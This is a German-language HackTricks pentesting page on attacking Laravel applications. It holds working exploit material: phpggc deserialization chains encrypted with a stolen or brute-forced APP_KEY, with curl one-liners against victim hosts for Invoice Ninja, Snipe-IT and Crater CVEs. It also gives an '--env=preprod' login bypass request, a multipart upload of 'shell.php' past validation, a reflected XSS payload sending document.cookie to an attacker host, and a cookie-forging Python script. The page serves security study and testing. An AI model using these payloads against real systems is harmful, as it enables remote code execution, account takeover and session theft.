Laravel

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Überprüfen Sie die Abonnementpläne!

Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.

Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.

Laravel SQLInjection

Weitere Informationen dazu: https://stitcher.io/blog/unsafe-sql-functions-in-laravel

APP_KEY & Verschlüsselungs-Interna (Laravel >=5.6)

Laravel verwendet AES-256-CBC (oder GCM) mit HMAC-Integrität im Hintergrund (Illuminate\Encryption\Encrypter). Der rohe Ciphertext, der schließlich an den Client gesendet wird, ist Base64 eines JSON-Objekts wie:

{
"iv"   : "Base64(random 16-byte IV)",
"value": "Base64(ciphertext)",
"mac"  : "HMAC_SHA256(iv||value, APP_KEY)",
"tag"  : ""                 // only used for AEAD ciphers (GCM)
}

encrypt($value, $serialize=true) serialisiert standardmäßig den Klartext mit serialize(), während decrypt($payload, $unserialize=true) führt auf den entschlüsselten Wert automatisch unserialize() aus. Daher kann jeder Angreifer, der den 32-Byte-Secret APP_KEY kennt, ein verschlüsseltes PHP-serialisiertes Objekt konstruieren und RCE über magische Methoden (__wakeup, __destruct, …).

Minimaler PoC (Framework ≥9.x):

use Illuminate\Support\Facades\Crypt;

$chain = base64_decode('<phpggc-payload>'); // e.g. phpggc Laravel/RCE13 system id -b -f
$evil  = Crypt::encrypt($chain);            // JSON->Base64 cipher ready to paste

Injiziere die erzeugte Zeichenkette in jeden verwundbaren decrypt()-Sink (route param, cookie, session, …).

laravel-crypto-killer 🧨

laravel-crypto-killer automatisiert den gesamten Prozess und fügt einen praktischen bruteforce-Modus hinzu:

# Encrypt a phpggc chain with a known APP_KEY
laravel_crypto_killer.py encrypt -k "base64:<APP_KEY>" -v "$(phpggc Laravel/RCE13 system id -b -f)"

# Decrypt a captured cookie / token
laravel_crypto_killer.py decrypt -k <APP_KEY> -v <cipher>

# Try a word-list of keys against a token (offline)
laravel_crypto_killer.py bruteforce -v <cipher> -kf appkeys.txt

Das Skript unterstützt transparent sowohl CBC- als auch GCM-Payloads und erzeugt das HMAC/tag-Feld neu.

Reale verwundbare Muster

Projekt	Verwundbare Stelle	Gadget chain
Invoice Ninja ≤v5 (CVE-2024-55555)	`/route/{hash}` → `decrypt($hash)`	Laravel/RCE13
Snipe-IT ≤v6 (CVE-2024-48987)	`XSRF-TOKEN` cookie, wenn `Passport::withCookieSerialization()` aktiviert ist	Laravel/RCE9
Crater (CVE-2024-55556)	`SESSION_DRIVER=cookie` → `laravel_session` cookie	Laravel/RCE15

Der Ausnutzungsablauf ist immer:

Beschaffe oder brute-force den 32-Byte-APP_KEY.
Baue eine Gadget chain mit PHPGGC (z. B. Laravel/RCE13, Laravel/RCE9 oder Laravel/RCE15).
Verschlüssele das serialisierte Gadget mit laravel_crypto_killer.py und dem wiederhergestellten APP_KEY.
Sende den Ciphertext an die verwundbare decrypt()-Sink (Route-Parameter, Cookie, Session …), um RCE auszulösen.

Nachfolgend sind prägnante Einzeiler, die den vollständigen Angriffsweg für jede oben erwähnte reale CVE demonstrieren:

# Invoice Ninja ≤5 – /route/{hash}
php8.2 phpggc Laravel/RCE13 system id -b -f | \
./laravel_crypto_killer.py encrypt -k <APP_KEY> -v - | \
xargs -I% curl "https://victim/route/%"

# Snipe-IT ≤6 – XSRF-TOKEN cookie
php7.4 phpggc Laravel/RCE9 system id -b | \
./laravel_crypto_killer.py encrypt -k <APP_KEY> -v - > xsrf.txt
curl -H "Cookie: XSRF-TOKEN=$(cat xsrf.txt)" https://victim/login

# Crater – cookie-based session
php8.2 phpggc Laravel/RCE15 system id -b > payload.bin
./laravel_crypto_killer.py encrypt -k <APP_KEY> -v payload.bin --session_cookie=<orig_hash> > forged.txt
curl -H "Cookie: laravel_session=<orig>; <cookie_name>=$(cat forged.txt)" https://victim/login

Da jede frische Laravel-Antwort mindestens 1 verschlüsseltes Cookie setzt (XSRF-TOKEN und üblicherweise laravel_session), öffentliche Internet-Scanner (Shodan, Censys, …) leak millions of ciphertexts, die offline angegriffen werden können.

Wesentliche Erkenntnisse der von Synacktiv (2024–2025) veröffentlichten Forschung:

Datensatz Juli 2024 » 580 k tokens, 3.99 % keys cracked (≈23 k)
Datensatz Mai 2025 » 625 k tokens, 3.56 % keys cracked
1 000 Server weiterhin verwundbar gegenüber dem Legacy CVE-2018-15133, da tokens direkt serialisierte Daten enthalten.
Große Key-Wiederverwendung – die Top-10 APP_KEYs sind hartkodierte Defaults, die mit kommerziellen Laravel-Templates (UltimatePOS, Invoice Ninja, XPanel, …) ausgeliefert werden.

Das private Go-Tool nounours pusht den AES-CBC/GCM bruteforce-Durchsatz auf ~1,5 Milliarden Versuche/s und reduziert das Knacken des kompletten Datensatzes auf <2 Minuten.

CVE-2024-52301 – HTTP argv/env override → auth bypass

Wenn PHP’s register_argc_argv=On (typisch bei vielen Distros) gesetzt ist, exponiert PHP ein argv-Array für HTTP-Requests, das aus dem Query-String abgeleitet wird. Neuere Laravel-Versionen parsen diese “CLI-like” args und honorieren --env=<value> zur Laufzeit. Das erlaubt es, die Framework-Umgebung für die aktuelle HTTP-Anfrage umzuschalten, indem man es einfach an jede URL anhängt:

Schneller Check:
Besuche https://target/?--env=local oder einen beliebigen String und suche nach umgebungsabhängigen Änderungen (debug banners, footers, verbose errors). Wenn der String reflektiert wird, funktioniert der Override.
Beispielhafte Auswirkung (Business-Logik vertraut einer speziellen env):
Wenn die App Zweige wie if (app()->environment('preprod')) { /* bypass auth */ } enthält, kannst du dich ohne gültige Credentials authentifizieren, indem du das Login-POST an:
POST /login?--env=preprod
Hinweise:
Funktioniert pro Anfrage, keine Persistenz.
Erfordert register_argc_argv=On und eine verwundbare Laravel-Version, die argv für HTTP ausliest.
Nützliche Primitive, um detailliertere Fehler in “debug” envs sichtbar zu machen oder um umgebungs-abgegrenzte Code-Pfade auszulösen.
Gegenmaßnahmen:
Deaktiviere register_argc_argv für PHP-FPM/Apache.
Upgradiere Laravel, sodass argv bei HTTP-Anfragen ignoriert wird, und entferne in Produktionsrouten jegliche Trust-Annahmen bezüglich app()->environment().

Minimaler Exploit-Flow (Burp):

POST /login?--env=preprod HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded
...
email=a@b.c&password=whatever&remember=0xdf

CVE-2025-27515 – Wildcard file validation bypass (`files.*`)

Laravel 10.0–10.48.28, 11.0.0–11.44.0 and 12.0.0–12.1.0 lassen manipulierte multipart-Anfragen beliebige Regeln, die an files.* / images.* gebunden sind, vollständig umgehen. Der Parser, der Wildcard-Schlüssel expandiert, kann durch angreiferkontrollierte Platzhalter (z. B. vorausgefüllte __asterisk__-Segmente) verwirrt werden, sodass das Framework UploadedFile-Objekte hydratisiert, ohne jemals image, mimes, dimensions, max usw. auszuführen. Sobald ein bösartiger Blob in Storage::putFile* landet, kann man auf eines der bereits in HackTricks aufgeführten Datei-Upload-Primitives pivotieren (web shells, log poisoning, signed job deserialization, …).

Hunting for the pattern

Static: rg -n "files\\.\*" -g"*.php" app/ or inspect FormRequest classes for rules() returning arrays that contain files.*.
Dynamic: hook Illuminate\Validation\Validator::validate() via Xdebug or Laravel Telescope in pre-production to log every request that hits the vulnerable rule.
Middleware/route review: Endpoints, die mehrere Dateien bündeln (Avatar-Importer, Dokument-Portale, Drag-and-Drop-Komponenten), neigen dazu, files.* zu vertrauen.

Practical exploitation workflow

Capture a legitimate upload and replay it in Burp Repeater.
Duplicate the same part but alter the field name so it already includes placeholder tokens (e.g., files[0][__asterisk__payload]) or nest another array (files[0][alt][0]). On vulnerable builds, that second part never gets validated but still becomes an UploadedFile entry.
Point the forged file to a PHP payload (shell.php, .phar, polyglot) and force the application to store it in a web-accessible disk (commonly public/ once php artisan storage:link is enabled).

curl -sk https://target/upload \
-F 'files[0]=@ok.png;type=image/png' \
-F 'files[0][__asterisk__payload]=@shell.php;type=text/plain' \
-F 'description=lorem'

Keep fuzzing key names (files.__dot__0, files[0][0], files[0][uuid] …) until you find one that bypasses the validator but still gets written to disk; patched versions reject these crafted attribute names immediately.

Ökosystem-Paket-Schwachstellen, die sich zum Verketten lohnen (2025)

CVE-2025-47275 – Auth0-PHP CookieStore tag brute-force (affects `auth0/laravel-auth0`)

If the project uses Auth0 login with the default CookieStore backend and auth0/auth0-php < 8.14.0, the GCM tag on the auth0 session cookie is short enough to brute-force offline. Erfasse ein Cookie, ändere die JSON-Nutzlast (z. B. setze "sub":"auth0|admin" und app_metadata.roles), brute-force den Tag und spiele es wieder ab, um eine gültige Laravel-guard-Session zu erhalten. Schnellchecks: composer.lock zeigt auth0/auth0-php <8.14.0 und .env enthält AUTH0_SESSION_STORAGE=cookie.

CVE-2025-48490 – `lomkit/laravel-rest-api` validation override

Das lomkit/laravel-rest-api-Paket vor 2.13.0 merged per-action rules falsch: spätere Definitionen überschreiben frühere für dasselbe Attribut und erlauben es so, dass manipulierte Felder die Validierung überspringen (z. B. Überschreiben von filter-Regeln während einer update-Action), was zu mass assignment oder unvalidierten SQL-ähnlichen Filtern führt. Praktische Prüfungen:

composer.lock listet lomkit/laravel-rest-api <2.13.0.
/_rest/users?filters[0][column]=password&filters[0][operator]== wird akzeptiert statt abgelehnt, was zeigt, dass die Filter-Validierung umgangen wurde.

Laravel Tricks

Debugging mode

Wenn Laravel im Debugging-Modus ist, kannst du auf den Code und sensible Daten zugreifen.
Zum Beispiel http://127.0.0.1:8000/profiles:

Das wird normalerweise benötigt, um andere Laravel RCE CVEs auszunutzen.

CVE-2024-13918 / CVE-2024-13919 – reflected XSS in Whoops debug pages

Betroffen: Laravel 11.9.0–11.35.1 mit APP_DEBUG=true (entweder global oder erzwungen durch fehlkonfigurierte env-Overrides wie CVE-2024-52301).
Primitiv: jede nicht abgefangene Ausnahme, die von Whoops gerendert wird, gibt Teile der Anfrage/Route ohne HTML-Codierung aus; das Injizieren von <img src> / <script> in eine Route- oder Anfrageparameter führt also zu stored-on-response XSS vor der Authentifizierung.
Auswirkung: stehle XSRF-TOKEN, leak Stacktraces mit Geheimnissen, öffne eine browserbasierte Pivot-Option, um _ignition/execute-solution in Opfersessions anzusprechen, oder verknüpfe mit passwortlosen Dashboards, die auf Cookies vertrauen.

Minimaler PoC:

// blade/web.php (attacker-controlled param reflected)
Route::get('/boom/{id}', function ($id) {
abort(500);
});

curl -sk "https://target/boom/%3Cscript%3Efetch('//attacker/x?c='+document.cookie)%3C/script%3E"

Selbst wenn debug mode normalerweise aus ist, führt das Erzwingen eines Fehlers über background jobs oder queue workers und das Abfragen des _ignition/health-check endpoint oft dazu, dass Staging-Hosts sichtbar werden, die diese Kette noch exponieren.

Fingerprinting & exponierte dev Endpunkte

Quick checks to identify a Laravel stack and dangerous dev tooling exposed in production:

/_ignition/health-check → Ignition vorhanden (debug tool verwendet bei CVE-2021-3129). Wenn unauthenticated erreichbar, könnte die App im debug sein oder falsch konfiguriert.
/_debugbar → Laravel Debugbar assets; weist oft auf debug mode hin.
/telescope → Laravel Telescope (dev monitor). Wenn public, ist mit umfangreicher Informationsoffenlegung und möglichen Aktionen zu rechnen.
/horizon → Queue dashboard; Versionsangaben und manchmal CSRF-geschützte Aktionen.
X-Powered-By, cookies XSRF-TOKEN und laravel_session, und Blade error pages helfen außerdem beim fingerprint.

# Nuclei quick probe
nuclei -nt -u https://target -tags laravel -rl 30
# Manual spot checks
for p in _ignition/health-check _debugbar telescope horizon; do curl -sk https://target/$p | head -n1; done

.env

Laravel speichert die APP, die zum Verschlüsseln der cookies und anderer Zugangsdaten verwendet wird, in einer Datei namens .env, die mittels path traversal unter: /../.env zugänglich ist.

Laravel zeigt diese Informationen außerdem auf der Debug-Seite an (die erscheint, wenn Laravel einen Fehler findet und der Debugmodus aktiviert ist).

Mit dem geheimen APP_KEY von Laravel kannst du cookies entschlüsseln und wieder verschlüsseln:

Hilfsprogramm zum Entschlüsseln/Verschlüsseln von cookies (Python)

```python import os import json import hashlib import sys import hmac import base64 import string import requests from Crypto.Cipher import AES from phpserialize import loads, dumps

#https://gist.github.com/bluetechy/5580fab27510906711a2775f3c4f5ce3

def mcrypt_decrypt(value, iv): global key AES.key_size = [len(key)] crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv) return crypt_object.decrypt(value)

def mcrypt_encrypt(value, iv): global key AES.key_size = [len(key)] crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv) return crypt_object.encrypt(value)

def decrypt(bstring): global key dic = json.loads(base64.b64decode(bstring).decode()) mac = dic[‘mac’] value = bytes(dic[‘value’], ‘utf-8’) iv = bytes(dic[‘iv’], ‘utf-8’) if mac == hmac.new(key, iv+value, hashlib.sha256).hexdigest(): return mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv)) #return loads(mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv))).decode() return ‘’

def encrypt(string): global key iv = os.urandom(16) #string = dumps(string) padding = 16 - len(string) % 16 string += bytes(chr(padding) * padding, ‘utf-8’) value = base64.b64encode(mcrypt_encrypt(string, iv)) iv = base64.b64encode(iv) mac = hmac.new(key, iv+value, hashlib.sha256).hexdigest() dic = {‘iv’: iv.decode(), ‘value’: value.decode(), ‘mac’: mac} return base64.b64encode(bytes(json.dumps(dic), ‘utf-8’))

app_key =‘HyfSfw6tOF92gKtVaLaLO4053ArgEf7Ze0ndz0v487k=’ key = base64.b64decode(app_key) decrypt(‘eyJpdiI6ImJ3TzlNRjV6bXFyVjJTdWZhK3JRZ1E9PSIsInZhbHVlIjoiQ3kxVDIwWkRFOE1sXC9iUUxjQ2IxSGx1V3MwS1BBXC9KUUVrTklReit0V2k3TkMxWXZJUE02cFZEeERLQU1PV1gxVForYkd1dWNhY3lpb2Nmb0J6YlNZR28rVmk1QUVJS3YwS3doTXVHSlxcL1JGY0t6YzhaaGNHR1duSktIdjF1elxcLzV4a3dUOElZVzMw aG01dGk5MXFkSmQrMDJMK2F4cFRkV0xlQ0REVU1RTW5TNVMrNXRybW9rdFB4VitTcGQ0QlVlR3Vwam1IdERmaDRiMjBQS05VXC90SzhDMUVLbjdmdkUyMnQyUGtadDJHSEIyQm95SVQxQzdWXC9JNWZKXC9VZHI4Sll4Y3ErVjdLbXplTW4yK25pTGxMUEtpZVRIR090RlF0SHVkM0VaWU8yODhtaTRXcVErdUlhYzh4OXNacXJrVytqd1hjQ3FMaDhWeG5NMXFxVXB1b2V2QVFIeFwvakRsd1pUY0h6UUR6Q0UrcktDa3lFOENIeFR0bXIrbWxOM1FJaVpsTWZkSCtFcmd3aXVMZVRKYXl0RXN3cG5EMitnanJyV0xkU0E3SEUrbU0rUjlENU9YMFE0eTRhUzAyeEJwUTFsU1JvQ3d3UnIyaEJiOHA1Wmw1dz09IiwibWFjIjoiNmMzODEzZTk4MGRhZWVhMmFhMDI4MWQzMmRkNjgwNTVkMzUxMmY1NGVmZWUzOWU4ZTJhNjBiMGI5Mjg2NzVlNSJ9’) #b’{“data”:“a:6:{s:6:"_token";s:40:"vYzY0IdalD2ZC7v9yopWlnnYnCB2NkCXPbzfQ3MV";s:8:"username";s:8:"guestc32";s:5:"order";s:2:"id";s:9:"direction";s:4:"desc";s:6:"_flash";a:2:{s:3:"old";a:0:{}s:3:"new";a:0:{}}s:9:"_previous";a:1:{s:3:"url";s:38:"http:\/\/206.189.25.23:31031\/api\/configs";}}”,“expires”:1605140631}\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e’ encrypt(b’{“data”:“a:6:{s:6:"_token";s:40:"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2SwepVOiUw";s:8:"username";s:8:"guest60e";s:5:"order";s:8:"lolololo";s:9:"direction";s:4:"desc";s:6:"_flash";a:2:{s:3:"old";a:0:{}s:3:"new";a:0:{}}s:9:"_previous";a:1:{s:3:"url";s:38:"http:\/\/206.189.25.23:31031\/api\/configs";}}”,“expires”:1605141157}’)

</details>

### Laravel Deserialization RCE

Betroffene Versionen: 5.5.40 und 5.6.x bis 5.6.29 ([https://www.cvedetails.com/cve/CVE-2018-15133/](https://www.cvedetails.com/cve/CVE-2018-15133/))

Weitere Informationen zur Deserialisierungs-Schwachstelle: [https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/)

Sie können es testen und ausnutzen mit [https://github.com/kozmic/laravel-poc-CVE-2018-15133]\
Oder Sie können es auch mit metasploit ausnutzen: `use unix/http/laravel_token_unserialize_exec`

### CVE-2021-3129

Eine weitere Deserialisierungs-Schwachstelle: [https://github.com/ambionics/laravel-exploits](https://github.com/ambionics/laravel-exploits)



## Referenzen
* [Laravel: APP_KEY leakage analysis (EN)](https://www.synacktiv.com/publications/laravel-appkey-leakage-analysis.html)
* [Laravel : analyse de fuite d’APP_KEY (FR)](https://www.synacktiv.com/publications/laravel-analyse-de-fuite-dappkey.html)
* [laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer)
* [PHPGGC – PHP Generic Gadget Chains](https://github.com/ambionics/phpggc)
* [CVE-2018-15133 write-up (WithSecure)](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce)
* [CVE-2024-52301 advisory – Laravel argv env detection](https://github.com/advisories/GHSA-gv7v-rgg6-548h)
* [CVE-2024-52301 PoC – register_argc_argv HTTP argv → --env override](https://github.com/Nyamort/CVE-2024-52301)
* [0xdf – HTB Environment (CVE‑2024‑52301 env override → auth bypass)](https://0xdf.gitlab.io/2025/09/06/htb-environment.html)
* [GHSA-78fx-h6xr-vch4 – Laravel wildcard file validation bypass (CVE-2025-27515)](https://github.com/laravel/framework/security/advisories/GHSA-78fx-h6xr-vch4)
* [SBA Research – CVE-2024-13919 reflected XSS in debug-mode error page](http://www.openwall.com/lists/oss-security/2025/03/10/4)
* [CVE-2025-47275 – Auth0-PHP CookieStore tag brute-force (laravel-auth0)](https://www.wiz.io/vulnerability-database/cve/cve-2025-47275)
* [CVE-2025-48490 – lomkit/laravel-rest-api validation override](https://advisories.gitlab.com/pkg/composer/lomkit/laravel-rest-api/CVE-2025-48490/)


> [!TIP]
> Lernen & üben Sie AWS Hacking:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Lernen & üben Sie GCP Hacking: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Lernen & üben Sie Azure Hacking: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Unterstützen Sie HackTricks</summary>
>
> - Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
> - **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
>
> </details>